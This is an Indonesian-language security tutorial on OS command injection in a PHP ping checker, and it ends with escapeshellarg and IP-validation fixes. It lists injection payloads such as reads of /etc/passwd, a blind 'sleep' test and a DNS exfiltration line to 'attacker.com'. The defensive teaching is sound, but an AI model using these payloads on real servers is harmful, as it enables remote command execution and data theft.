Eksploitasi OS Command Injection: shell metacharacters, chaining commands, blind injection, dan pencegahan dengan escapeshellcmd.
Command Injection (OS Command Injection) adalah kerentanan di mana penyerang bisa mengeksekusi perintah sistem operasi di server melalui aplikasi web. Ini terjadi ketika input pengguna langsung dimasukkan ke dalam system command tanpa sanitasi. Dampak: RCE, akses shell, data breach total.
Contoh klasik: aplikasi ping checker yang menjalankan perintah ping via sistem operasi.
$ip = $_GET["ip"];
$output = shell_exec("ping -c 3 " . $ip);
echo $output;Jika user input: 127.0.0.1; id, maka yang dieksekusi adalah ping -c 3 127.0.0.1; id — dua perintah sekaligus.
Karakter khusus untuk command injection:
; command # Execute next command (Linux & Windows)
&& command # Execute next if first succeeds
|| command # Execute next if first fails
| command # Pipe output to next command
`command` # Execute inline command
$(command) # Execute inline command
\n command # Newline, then command (some systems)127.0.0.1; whoami
127.0.0.1 && ls -la
127.0.0.1 | cat /etc/passwd
127.0.0.1 `id`
127.0.0.1 $(cat /etc/passwd)
%0a id # URL-encoded newline + command
127.0.0.1%0awhoamiSaat output tidak terlihat, gunakan teknik blind:
& sleep 10 — jika response delay 10 detik, injection berhasil& nslookup $(whoami).attacker.com — data dikirim via DNS; echo "eksploitasi" > /tmp/pwned.txt — tulis file sebagai bukti// Gunakan escapeshellarg untuk melindungi argumen
$ip = escapeshellarg($_GET["ip"]);
$output = shell_exec("ping -c 3 " . $ip);
// Atau lebih baik: validasi input
if (filter_var($_GET["ip"], FILTER_VALIDATE_IP)) {
$output = shell_exec("ping -c 3 " . escapeshellarg($_GET["ip"]));
}